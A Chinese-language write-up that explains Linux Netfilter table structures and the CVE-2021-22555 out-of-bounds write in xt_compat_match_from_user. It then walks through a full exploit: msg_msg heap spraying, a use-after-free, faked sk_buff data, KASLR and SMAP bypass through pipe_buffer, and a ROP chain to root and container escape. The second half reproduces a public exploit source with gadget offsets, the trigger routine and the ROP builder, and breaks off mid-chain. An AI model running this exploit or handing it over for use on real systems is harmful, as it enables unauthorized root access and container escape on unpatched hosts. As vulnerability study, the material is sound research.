Netfilter

Netfilter是一种linux内核网络过滤器
Netfilter包含几种table(`struct xt_table`),每个table用来存储不同的配置信息
每个table有多个chain(`struct xt_table_info`), chain表示对报文的拦截点，就比如一个网络层ipv4报文传过来，
他会对每个拦截点进行检测，也就是每条chain
而每个chain则包含一些rule(`struct ipt_entry`),一条rule则包含一个或多各正则匹配规则(match),和一个执行动作
其拥有以下几种功能(table):

1. filter表: 过滤报文:包含3个chain:INPUT/OUTPUT/FORWARD
2. mangle表: 修改报文， 包含5个chain
3. connection track: 会话的连接跟踪,包含2个chain,OUTPUT/PREROUTING
4. NAT: 包含三个chain, PREROUTING/OUPUT/POSTROUTIN

相关结构体

```
/* Furniture shopping... */
struct xt_table {
    struct list_head list;

    /* What hooks you will enter on */
    unsigned int valid_hooks;

    /* Man behind the curtain... */
    struct xt_table_info __rcu *private; //用来存放指向
`xt_table_info`的指针
```

```
	/* Set this to THIS_MODULE if you are a module,
otherwise NULL */
	struct module *me;

	u_int8_t af;		/* address/protocol family */
	int priority;		/* hook order */

	/* called when table is needed in the given netns
*/
	int (*table_init)(struct net *net);

	/* A unique name... */
	const char name[XT_TABLE_MAXNAMELEN];
};
```

这个结构体就是上述的表table,存在一个private字段，类型为`struct xt_table_info`且添加了`__rcu`的标识,这个标识表示在读取的时候不用加锁,
但在写的时候更新数据

```
/* The table itself */
struct xt_table_info {
	/* Size per table */
	unsigned int size;
	/* Number of entries: FIXME. --RR */
	unsigned int number;
	/* Initial number of entries. Needed for module
usage count */
	unsigned int initial_entries;

	/* Entry points and underflows */
	unsigned int hook_entry[NF_INET_NUMHOOKS];
   //存放每个chains的偏移
	unsigned int underflow[NF_INET_NUMHOOKS];
  //存放每个chains中default rule的偏移

```

```
    /*
     * Number of user chains. Since tables cannot have loops, at most
     * @stacksize jumps (number of user chains) can possibly be made.
     */
    unsigned int stacksize;
    void ***jumpstack;

    unsigned char entries[] __aligned(8);
};
```

这里的`entries`的每个字段则存放了每个cpu所对应的专属buf,如下

```
        ┌──────────────┬────────────────────┬─────────┐
        │void  entries0│                    │CPU0 bufs│
        ├──────────────┼──────────┐         │         │
        │void  entries1│          └─────────┴─────────┘
        ├──────────────┤
        │void  entries2│
        └──────────────┘
```

而每个`CPU bufs`里面包含的内容则是一个个`chains`数组

```
   ┌───────────┬──────────────┬───────────┐
   │ chains0   │    chains1   │   chains2 │
   └───────────┴──────────────┴───────────┘
```

然后每个chains里面则包含了一条条rules

```
    ┌──────┬───────┬──────┐
    │rule0 │ rule1 │ rule2│
    └──────┴───────┴──────┘
```

那么由于每个chains里面的rule条数都可能不同，所以需要还存在一定的偏移字段
所以`struct xt_table_info.hook_entry[]`里面就存的是在`cpu bufs`里面每个chains的起始偏移
这样就可以精准定位到每个chains下的rule
然后由于这里还存在一个默认规则字段,所以在对应的`struct xt_table.underflow[]`则存放的是每个chains的默认rule的相对偏移

然后每条rule是使用`sturct ipt_entry`来表示

```
struct ipt_entry {
    struct ipt_ip ip;

    /* Mark with fields that we care about. */
    unsigned int nfcache;

    /* Size of ipt_entry + matches */
    __u16 target_offset;
    /* Size of ipt_entry + matches + target */
    __u16 next_offset;

    /* Back pointer */
    unsigned int comefrom;

    /* Packet and byte counters. */
    struct xt_counters counters;

    /* The matches (if any), then the target. */
    unsigned char elems[0];
};
```

而每一条rule包含多个匹配规则`struct xt_entry_match`和一个执行动作`struct xt_entry_target`

```c
struct xt_entry_match {
    union {
        struct {
            __u16 match_size;

            /* Used by userspace */
            char name[XT_EXTENSION_MAXNAMELEN];
            __u8 revision;
        } user;
        struct {
            __u16 match_size;

            /* Used inside the kernel */
            struct xt_match *match;
        } kernel;

        /* Total length */
        __u16 match_size;
    } u;

    unsigned char data[0];
};

struct xt_entry_target {
    union {
        struct {
            __u16 target_size;

            /* Used by userspace */
            char name[XT_EXTENSION_MAXNAMELEN];
            __u8 revision;
        } user;
        struct {
            __u16 target_size;

            /* Used inside the kernel */
```

```
                struct xt_target *target;
            } kernel;

            /* Total length */
            __u16 target_size;
        } u;

    unsigned char data[0];
};
```

通信机制

netfilter通过`setsockopt, getsockopt`来进行用户-内核的交互,在此基础上`nftables`实现了自己的一个框架，允许不同的防火墙来实现自己和用户空间的通信函数
这里主要涉及了`nf_register_sockopt()`函数将`nf_sockopt_ops`结构体实例注册到`netfilter`管理的全局链表当中
注册完毕就可以调用`nf_sockopt_find()`来查找对应的`nf_sockopt_ops`

引用

[CVE-2021-22555]

CVE-2021-22555

受影响版本范围:Linux v2.6.19-rc1~v5.12-rc7
v5.12-rc8已经修复
5.12， 5.10.31, 5.4.113, 4.19.188, 4.14.231, 4.9.267, 4.4.267已经修复

实验环境

kernel: Linux-5.11.14
rootfs: busybox latest
config: 所有`CONFIG_IP_NF_**,` `CONFIG_NETFILTER_**`,`CONFIG_E1000, CONFIG_E1000E`

前置条件

需要容器内用户拥有`CAP_NET_ADMIN`权限，或者支持`user+network`命名空间

漏洞点

`net/netfilter/x_tables.c: xt_compat_match_from_user()`
需要`CAP_NET_ADMIN`权限，或者支持`user+network`命名空间
在该函数当中存在内核结构转换的过程中由于错误计算转换大小可能导致`off by null`

触发函数链条

```
setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, ...)
    nf_setsockopt()
        do_ipt_set_ctl()
            compat_do_replace()
                translate_compat_table()
                    compat_copy_entry_from_user()
                        xt_compat_match_from_user()
                        xt_compat_target_from_user()
```

这里主要聚焦于`ip_tables`这样一个防火墙实现的部分
主要了解一下各个函数所做的主要功能

```
/* setsockopt的回调函数 */
```

```
static int
do_ipt_set_ctl(struct sock *sk, int cmd, sockptr_t
arg, unsigned int len)
{
    ...
    switch (cmd) {
    case IPT_SO_SET_REPLACE:     //我们索要使用的cmd参数
#ifdef CONFIG_COMPAT
        if (in_compat_syscall())
            ret = compat_do_replace(sock_net(sk),
arg, len);
        else
        ...
}


static int
compat_do_replace(struct net *net, sockptr_t arg,
unsigned int len)
{
    ...
    struct compat_ipt_replace tmp;
    struct xt_table_info *newinfo;
    void *loc_cpu_entry;
    struct ipt_entry *iter;

    /* 拷贝arg.user 到 struct compat_ipt_replace tmp
当中*/
    if (copy_from_sockptr(&tmp, arg, sizeof(tmp)) !=
0)
        return -EFAULT;
    ...

    tmp.name[sizeof(tmp.name)-1] = 0;

    /* 通过tmp.size分配新的 xt_table_info */
    /* 这里需要记住struct xt_table_info使用kvmalloc进行
分配，分配标志为KERNEL_ACCOUNT */
    newinfo = xt_alloc_table_info(tmp.size);
    if (!newinfo)
        return -ENOMEM;

    loc_cpu_entry = newinfo->entries;
    /* 向new xt_table_info偏移为compat_ipt_replace的起
始地址开始复制内容 */
    /* 实际上就是分配entries数 */
    if (copy_from_sockptr_offset(loc_cpu_entry, arg,
sizeof(tmp),
            tmp.size) != 0) {
        ret = -EFAULT;
        goto free_newinfo;
    }

    /* loc_cpu_entry 指向的是newinfo里面 entries开头 */
    ret = translate_compat_table(net, &newinfo,
&loc_cpu_entry, &tmp);
    ...
}

/* 构造新的xt_table_info */
static int
translate_compat_table(struct net *net,
               struct xt_table_info **pinfo,
               void **pentry0,
               const struct compat_ipt_replace
*compatr)
{
    unsigned int i, j;
    struct xt_table_info *newinfo, *info;
    void *pos, *entry0, *entry1;
    struct compat_ipt_entry *iter0;
    struct ipt_replace repl;
    unsigned int size;
    int ret;

    /* info是传入进来的xt_table_info */
    info = *pinfo;
    /* pentry0为传入进来的entry */
    entry0 = *pentry0;
    size = compatr->size;
    info->number = compatr->num_entries;
    ...
    /* 又分配了新的xt_table_info用来做兼容性替换 */
    newinfo = xt_alloc_table_info(size);
    if (!newinfo)
        goto out_unlock;

    newinfo->number = compatr->num_entries;
    for (i = 0; i < NF_INET_NUMHOOKS; i++) {
        newinfo->hook_entry[i] = compatr-
>hook_entry[i];
        newinfo->underflow[i] = compatr-
>underflow[i];
    }
    entry1 = newinfo->entries;
    pos = entry1;
    size = compatr->size;
    xt_entry_foreach(iter0, entry0, compatr->size) //
开始拷贝entry
        compat_copy_entry_from_user(iter0, &pos,
&size,
                                newinfo, entry1);
    ...
}

/* 旧的xt_table_info 拷贝到新的xt_table_info */
static void
```

```
compat_copy_entry_from_user(struct compat_ipt_entry
*e, void **dstptr,
                unsigned int *size,
                struct xt_table_info *newinfo,
unsigned char *base)
{
    struct xt_entry_target *t;
    struct ipt_entry *de;
    unsigned int origsize;
    int h;
    struct xt_entry_match *ematch;

    origsize = *size;
    de = *dstptr;
    /* 拷贝当前迭代的ipt_entry */
    memcpy(de, e, sizeof(struct ipt_entry));
    memcpy(&de->counters, &e->counters, sizeof(e-
>counters));

    /* 指针后移 */
    *dstptr += sizeof(struct ipt_entry);
    /* 使得compat_ipt_entry 大小转换为 ipt_entry */
    *size += sizeof(struct ipt_entry) - sizeof(struct
compat_ipt_entry);

    xt_ematch_foreach(ematch, e)
        xt_compat_match_from_user(ematch, dstptr,
size);

    de->target_offset = e->target_offset - (origsize
- *size);
    t = compat_ipt_get_target(e);
    xt_compat_target_from_user(t, dstptr, size);

    de->next_offset = e->next_offset - (origsize -
*size);
```

```
    for (h = 0; h < NF_INET_NUMHOOKS; h++) {
        if ((unsigned char *)de - base < newinfo-
>hook_entry[h])
            newinfo->hook_entry[h] -= origsize -
*size;
        if ((unsigned char *)de - base < newinfo-
>underflow[h])
            newinfo->underflow[h] -= origsize -
*size;
    }
}

/* 漏洞点函数 */
void xt_compat_match_from_user(struct xt_entry_match
*m, void **dstptr,
                   unsigned int *size)
{
    const struct xt_match *match = m->u.kernel.match;
    struct compat_xt_entry_match *cm = (struct
compat_xt_entry_match *)m;
    int pad, off = xt_compat_match_offset(match);
    u_int16_t msize = cm->u.user.match_size;
    char name[sizeof(m->u.user.name)];

    m = *dstptr;
    memcpy(m, cm, sizeof(*cm));
    if (match->compat_from_user)
        match->compat_from_user(m->data, cm->data);
    else
        memcpy(m->data, cm->data, msize -
sizeof(*cm));
    /* 仅仅检查了match->matchsize的对齐,这里的matchsize为
xt_match->data[]的大小 */
    pad = XT_ALIGN(match->matchsize) - match-
>matchsize;
```

```
    if (pad > 0)
        /* 这里默认认为m->data是对齐的但可能这里因为之前的
xt_match而导致不对齐 */
        memset(m->data + match->matchsize, 0, pad);

    msize += off;
    m->u.user.match_size = msize;
    strlcpy(name, match->name, sizeof(name));
    module_put(match->me);
    strncpy(m->u.user.name, name, sizeof(m-
>u.user.name));

    *size += off;
    *dstptr += msize;
}
EXPORT_SYMBOL_GPL(xt_compat_match_from_user);
```

漏洞利用

这里逐步讲解exp利用细节
首先是设置cpu亲和性和命名空间隔离,创建新的命名空间的意义主要在于在新的命名空间中进行特权操作

```
int setup_sandbox(void) {
    /* 创建新的用户命名空间 */
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
    /* 创建新的网络命名空间 */
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(0, &set);
    /*设置cpu亲和性为0 core */
  if (sched_setaffinity(getpid(), sizeof(set), &set)
< 0) {
    perror("[-] sched_setaffinity");
    return -1;
  }

  return 0;
}
```

然后申请大量`msg_queue`,主要是通过`msgget`来申请

```
    msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)
```

```
__x64_sys_msgget
    compat_ksys_msgget
        ipcget
            ipcget_new
                ops->getnew newque
```

之后开始堆喷`primary_msg`,这里可以简单的使用`msgsend`来达成效果，注意传递的消息需要是0x1000大小
完毕之后堆喷`secondary_msg`,选择堆喷0x400大小的`msg_msg`

```
//1-2. 创建4k个msg_primary —— size=0x1000
  printf("[*] Spraying primary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    ...
    if (write_msg(msqid[i], &msg_primary,
sizeof(msg_primary), MTYPE_PRIMARY) < 0)
    ...
  }
// 1-3. create 4096 secondary msg —— size=0x400
```

```
  printf("[*] Spraying secondary messages...\n");
  for (int i = 0; i < NUM_MSQIDS; i++) {
    ..
    if (write_msg(msqid[i], &msg_secondary,
sizeof(msg_secondary),
                  MTYPE_SECONDARY) < 0)
        ...
  }
```

然后这里释放3个`primary_msg`,分别是第1k, 2k, 3k个`msg_queue`的`primary_msg`

```
do_compat_sys_msgrcv
    compat_ksys_msgrcv
        do_msgrcv
```

释放过后使用漏洞相关函数来分配`xt_table_info`来占用，并且触发漏洞来写入`struct msg_msg`的头两字节

在漏洞触发后，达成的效果是某个`primary_msg`的头部二字节被覆盖为0,
也就是说`struct msg_msg.msg_list.next`将会指向其他的`secondary_msg`
因此我们就可以通过读取每个`msgid`的`secondary_msg`来检查是哪个id受到改写

```
     ┌──────────────┐
┌─────────────────┐
     │  primary_msg │───────────────────┬─────────▶│
secondary_msg │
     └──────────────┘                   │
└─────────────────┘
        ...                             │
...
  ┌───────────────────────┐              │
┌─────────────────┐
  │ corrupted_primary_msg │─────────────┘          │
secondary_msg │
  └───────────────────────┘
└─────────────────┘

     ┌───────────────┐
┌─────────────────┐
     │  primary_msg  │───────────────────────────▶│
secondary_msg │
     └───────────────┘
└─────────────────┘
```

其中我们再将最上面的`secondary_msg`进行释放，这样就造成了一个UAF
我们可以利用被覆盖的`corrupted_primary_msg`来读取刚刚被释放掉的`secondary_msg`堆块
此时如果我们重分配`secondary_msg`大小的堆块来占用他就可以造成泄漏内核信息的功能

这里我们可以堆喷`sk_buff`来修改其中内容,
`struuct sk_buff`类似于`struct msg_msg`也是可以进行任意大小的分配，但区别在于`struct msg_msg`经常包含一个头部,
而`sk_buff`的用户数据存放在一个额外的堆块当中,
这里我们只需要不断写入`socket`就可以进行堆喷

而我们写的内容则是修改过后的`msg_msg`
其中`struct msg_msg->m_ts`则是控制了当前`msg_msg`的大小,因此如果我们将其伪造成一个较大指则可以泄漏出下一个`secondary_msg`的内容

而这里为了获取可控的堆地址，则采用下面的利用手法:

1. 越界读取`msg_msg->m_list->prev`的内容，这个是指向该`msg_queueu`所对应的`primary_msg`

```
 ┌────────────────────────► msg_queue
◄──────────────────────────┐
 │                        ┌───────┐
         │
 │       ┌────────────────┤  next │
         │
 │       │                ├───────┤
         │
 │       │                │  prev
├───────────────────┐         │
 │       │                └───────┘
│          │
 │       │
│          │
 │       │
│          │
 │       ▼
▼          │
 │  primary_msg◄───────────┐
┌──────►secondary_msg    │
 │    ┌─────┐             │             │
┌───────┐      │
 │    │ next│─────────────│──────────────┴          │
next ├─────┘
 │    ├─────┤             │
├───────┤
```

```
  └────┤ prev│              └───────────────────┤
prev │
         └────┘
 └──────┘
```

2. 释放刚刚堆喷的`sk_buff`然后再重新堆喷，这里就可以重新写入更新伪造的`struct msg_msg`,这里添加了`msg_msg->msg_ts`,这里如果`msg_ts`较大，则其会获取`msg_msg.next`然后继续读入内容,
   这里就将`struct msg_msg.next`设置为刚刚泄漏出来的地址减去msgw，而刚刚的地址为`primary_msg`,
   之后就能越界在读取`primary_msg->m_list->next`指针，再减去0x400就能获取当前可控堆地址内容

在获取可控堆地址之后，在这里释放掉UAF的`secondary_msg`,然后再重新堆喷，这里注意在释放的时候我们要伪造其的`m_list->next & prev`指针,
使得他在list_del的时候不会崩溃,
这里堆喷的结构体则换为`pipe_buffer`数组,
这个数组在`__x64_sys_pipe`系统调用里面分配,且大小为0x280,位于`kmalloc-cg-1k`,而恰好`msg_msg`同样也是带有`cg`
这样在堆喷后我们读取释放掉`sk_buff`就可以获取pipe_bufs上面的内核基地址,

```
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};
```

这个buf在pipe创建的时候并不会初始化，只会先开辟一段空间来存放即将使用的`pipe_buffer`
其的初始化位于`pipe_write`函数

```
...
			buf = &pipe->bufs[head & mask];
			buf->page = page;
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
...
```

这里的`anon_pipe_buf_ops`由于是一个内核全局变量，因此可以通过泄漏他来获取内核基地址

泄漏完毕后释放掉`sk_buf`,然后再次重新分配修改其中的`pipe_buffer`数组,
将`pipe_buffer->ops->release`修改为一条已存在的指令然后进行ROP即可

这里的漏洞利用链条主要是进行了以下操作

```
commit_creds(prepare_kernel_cred(NULL))
    switch_task_namespaces(find_task_by_vpid(1),
init_nsproxy)
```

正常返回用户态后，此时已经获取到了root权限，并且此时的命名空间已经切换
最后执行

```
  setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
  setns(open("/proc/1/ns/pid", O_RDONLY), 0);
  setns(open("/proc/1/ns/net", O_RDONLY), 0);
```

来设置当前进程的命名空间即可逃逸

利用总结

保护机制：开启`KASLR/SMEP/SMAP`。

利用总结：

1. 构造4096个`msg_msg`主消息（0x1000）和辅助消息（0x400），利用2字节溢出写0来修改某个主消息的`msg_msg->m_list->next`低2字节，使得两个主消息指向同一个辅助消息，将2字节溢出写0转化为UAF。
2. 注意，spray对象采用skb对象，victim对象采用pipe()管道中的pipe_buf_operations结构。首先利用skb改大`msg_msg->m_ts`，泄露相邻辅助消息的`msg_msg->m_list->prev`（主消息地址，也即0x1000堆块地址）；
3. 再利用skb伪造`msg_msg->next`指向泄露的主消息地址，泄露`msg_msg->m_list->next`（辅助消息地址，也即0x400堆块地址）；
4. 再利用skb伪造`msg_msg->m_list->next & prev`，以避免再次释放辅助消息时访问无效链表地址导致崩溃；
5. 使`pipe_buffer`结构占据释放后的0x400空闲块，利用读skb泄露其ops指针，也即内核基址；
6. 利用skb篡改`pipe_buffer->ops->release`指针，劫持控制流。
7. 如果需要进行docker或k8s容器逃逸，则ROP链在执行`commit_creds(prepare_kernel_cred(0))`提权后，需执行`switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)`，以替换exp进程的命名空间。

利用exp

```
```

```
/* https://github.com/google/security-
research/blob/master/pocs/linux/cve-2021-
22555/exploit.c
 * compile exp: $ gcc -m32 -static -o exploit
exploit.c
*
 * /exp $ uname -a
 * Linux (none) 5.11.14 #2 SMP Tue Sep 21 17:46:57
PDT 2021 x86_64 GNU/Linux
 * /exp $ id
 * uid=1000(chal) gid=1000(chal) groups=1000(chal)
 * /exp $ ./exploit
 * [+] STAGE 0: Initialization
 * [*] Setting up namespace sandbox...
 * [*] Initializing sockets and message queues...

 * [+] STAGE 1: Memory corruption
 * [*] Spraying primary messages...
 * [*] Spraying secondary messages...
 * [*] Creating holes in primary messages...
 * [*] Triggering out-of-bounds write...
 * [   14.229356] x_tables: ip_tables: icmp.0 match:
invalid size 8 (kernel) != (user) 3850
 * [*] Searching for corrupted primary message...
 * [+] fake_idx: ffb
 * [+] real_idx: feb

 * [+] STAGE 2: SMAP bypass
 * [*] Freeing real secondary message...
 * [*] Spraying fake secondary messages...
 * [*] Leaking adjacent secondary message...
 * [+] kheap_addr: ffff888008392000
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Leaking primary message...
 * [+] kheap_addr: ffff8880087a0000
 * [+] STAGE 3: KASLR bypass
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Freeing sk_buff data buffer...
 * [*] Spraying pipe_buffer objects...
 * [*] Leaking and freeing pipe_buffer object...
 * [+] anon_pipe_buf_ops: ffffffff8223e140
 * [+] kbase_addr: ffffffff81000000

 * [+] STAGE 4: Kernel code execution
 * [*] Spraying fake pipe_buffer objects...
 * [*] Releasing pipe_buffer objects...
 * [*] Checking for root...
 * [+] Root privileges gained.

 * [+] STAGE 5: Post-exploitation
 * [*] Escaping container...
 * [*] Cleaning up...
 * [*] Popping root shell...
 * / # id
 * uid=0(root) gid=0(root)
 */

// clang-format off
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
```

```
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on
#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// clang-format off
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x72e1ac
               // 0xffffffff8172e1ac: push rsi; jmp
qword ptr [rsi + 0x39];
#define POP_RSP_RET 0x163ea0
               // 0xffffffff81163ea0: pop rsp; ret;
#define ADD_RSP_D0_RET 0x6f8c9
               // 0xffffffff8106f8c9: add rsp, 0xd0;
ret;
```

```
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0xea95d
              // 0xffffffff810ea95d : enter 0, 0 ;
pop rbx ; pop r12 ; pop rbp ; ret              only
ROPgadget can find
#define
MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET
0x4cebe7  // 0xffffffff814cebe7: mov qword ptr [r12],
rbx; pop rbx; pop r12; pop r13; pop rbp; ret;
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6ed6ef
              // 0xffffffff816ed6ef: push qword ptr
[rbp + 0xa]; pop rbp; ret;
#define MOV_RSP_RBP_POP_RBP_RET 0x8c5bc
              // 0xffffffff8108c5bc: mov rsp, rbp;
pop rbp; ret;

#define POP_RCX_RET 0x5e5c73
               // 0xffffffff81439b92: pop rcx; ret;
       \x59\xc3     fault when debug, cannot use   $
objdump -d ./vmlinux_small -M intel | grep  "59 c3"
-> ffffffff815e5c72:   e8 59 c3 fe ff          call
0xffffffff815d1fd0
#define POP_RSI_RET 0xb105e
              // 0xffffffff810b105e: pop rsi; ret;
#define POP_RDI_RET 0x8c650
              // 0xffffffff8108c650: pop rdi; ret;
#define POP_RBP_RET 0x69e
              // 0xffffffff8100069e: pop rbp; ret;

#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x588d54
               // 0xffffffff81588d54: mov rdi, rax;
jne 0x788d41; xor eax, eax; ret;
#define CMP_RCX_4_JNE_POP_RBP_RET 0x7459b
              // 0xffffffff8107459b: cmp rcx, 4; jne
0x274579; pop rbp; ret;
```

```
#define FIND_TASK_BY_VPID 0xc0a40           // ffffffff810c0a40 T find_task_by_vpid
#define SWITCH_TASK_NAMESPACES 0xc8ad0      // ffffffff810c8ad0 T switch_task_namespaces
#define COMMIT_CREDS 0xc9f00                // ffffffff810c9f00 T commit_creds
#define PREPARE_KERNEL_CRED 0xca3e0         // ffffffff810ca3e0 T prepare_kernel_cred

#define ANON_PIPE_BUF_OPS 0x123e140         // ffffffff8223e140 r anon_pipe_buf_ops
#define INIT_NSPROXY 0x186b540              // ffffffff8286b540 D init_nsproxy

// clang-format on

#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))

struct msg_msg {
  uint64_t m_list_next;
  uint64_t m_list_prev;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
};

struct msg_msgseg {
  uint64_t next;
};

struct pipe_buffer {
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct pipe_buf_operations {
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};

struct {
  long mtype;
  char mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;

struct {
  long mtype;
  char mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;

struct {
  long mtype;
  char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE -
MSG_MSGSEG_SIZE];
} msg_fake;

void build_msg_msg(struct msg_msg *msg, uint64_t
m_list_next,
                   uint64_t m_list_prev, uint64_t
m_ts, uint64_t next) {
  msg->m_list_next = m_list_next;
  msg->m_list_prev = m_list_prev;
  msg->m_type = MTYPE_FAKE;
  msg->m_ts = m_ts;
  msg->next = next;
  msg->security = 0;
}

int write_msg(int msqid, const void *msgp, size_t
msgsz, long msgtyp) {
  *(long *)msgp = msgtyp;
  if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) <
0) {
    perror("[-] msgsnd");
    return -1;
  }
  return 0;
}

int peek_msg(int msqid, void *msgp, size_t msgsz,
long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long),
msgtyp, MSG_COPY | IPC_NOWAIT) <
      0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
}

int read_msg(int msqid, void *msgp, size_t msgsz,
long msgtyp) {
  if (msgrcv(msqid, msgp, msgsz - sizeof(long),
msgtyp, 0) < 0) {
    perror("[-] msgrcv");
    return -1;
  }
  return 0;
```

```c
}

int spray_skbuff(int ss[NUM_SOCKETS][2], const void
*buf, size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (write(ss[i][0], buf, size) < 0) {
        perror("[-] write");
        return -1;
      }
    }
  }
  return 0;
}

int free_skbuff(int ss[NUM_SOCKETS][2], void *buf,
size_t size) {
  for (int i = 0; i < NUM_SOCKETS; i++) {
    for (int j = 0; j < NUM_SKBUFFS; j++) {
      if (read(ss[i][1], buf, size) < 0) {
        perror("[-] read");
        return -1;
      }
    }
  }
  return 0;
}

int trigger_oob_write(int s) {
  struct __attribute__((__packed__)) {
    struct ipt_replace replace;
// 0x60
    struct ipt_entry entry;
// 0x70
    struct xt_entry_match match;
 // 0x20
```

```
    char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
      //  kvmalloc_size = sizeof(xt_table_info) +
ipt_replace->size =  0x40 + (0xFB8 - 0x2) = 0xFF8 -
0x2
    struct xt_entry_target target;
 // 0x20
  } data = {0};

  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = (sizeof(data.entry) +
sizeof(data.match) +
                       sizeof(data.pad) +
sizeof(data.target));           // 0x70 +
(0x108+0x1000-0x200-0x2) + 0x20 + 0x20 = 0xFB8 - 0x2

  data.entry.next_offset = (sizeof(data.entry) +
sizeof(data.match) +
                            sizeof(data.pad) +
sizeof(data.target));        // Size of ipt_entry +
matches + target
  data.entry.target_offset =
      (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad));         // Size of ipt_entry +
matches

  data.match.u.user.match_size = (sizeof(data.match)
+ sizeof(data.pad));   // 0x20 + (0x108+0x1000-0x200-
0x2) = 0xF28 - 0x2
  strcpy(data.match.u.user.name, "icmp");
  data.match.u.user.revision = 0;

  data.target.u.user.target_size =
sizeof(data.target);                    // 0x20
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;
  // Partially overwrite the adjacent buffer with 2
bytes of zero.
  if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE,
&data, sizeof(data)) != 0) {
    if (errno == ENOPROTOOPT) {
      printf("[-] Error ip_tables module is not
loaded.\n");
      return -1;
    }
  }

  return 0;
}

// Note: Must not touch offset 0x10-0x18.
void build_krop(char *buf, uint64_t kbase_addr,
uint64_t scratchpad_addr) {
  uint64_t *rop;
  *(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
  *(uint64_t *)&buf[0x00] = kbase_addr +
ADD_RSP_D0_RET;

  rop = (uint64_t *)&buf[0xD8];

  // Save RBP at scratchpad_addr.
  *rop++ = kbase_addr +
ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
   // enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
  *rop++ = scratchpad_addr; // R12
  *rop++ = 0xDEADBEEF;      // RBP
  *rop++ = kbase_addr +
MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
   // mov qword ptr [r12], rbx; pop rbx; pop r12; pop
r13; pop rbp; ret;
  *rop++ = 0xDEADBEEF; // RBX
  *rop++ = 0xDEADBEEF; // R12
  *rop++ = 0xDEADBEEF; // R13
  *rop++ = 0xDEADBEEF; // RBP

  // commit_creds(prepare_kernel_cred(NULL))
  *rop++ = kbase_addr + POP_RDI_RET;
                           // pop rdi; ret;
  *rop++ = 0; // RDI
  *rop++ = kbase_addr + PREPARE_KERNEL_CRED;
  *rop++ = kbase_addr + POP_RCX_RET;
                           // pop rcx; ret;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
                           // cmp rcx, 4; jne
0x274579; pop rbp; ret;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr +
MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
   // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
  *rop++ = kbase_addr + COMMIT_CREDS;

  // switch_task_namespaces(find_task_by_vpid(1),
init_nsproxy)                 This step can be
deleted. Not important.
  *rop++ = kbase_addr + POP_RDI_RET;
                           // pop rdi; ret;
  *rop++ = 1; // RDI
  *rop++ = kbase_addr + FIND_TASK_BY_VPID;
                           // find_task_by_vpid
  *rop++ = kbase_addr + POP_RCX_RET;
                           // pop rcx; ret;
  *rop++ = 4; // RCX
  *rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
                           // cmp rcx, 4; jne
0x274579; pop rbp; ret;
  *rop++ = 0xDEADBEEF; // RBP
  *rop++ = kbase_addr +
MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
   // mov rdi, rax; jne 0x788d41; xor eax, eax; ret;
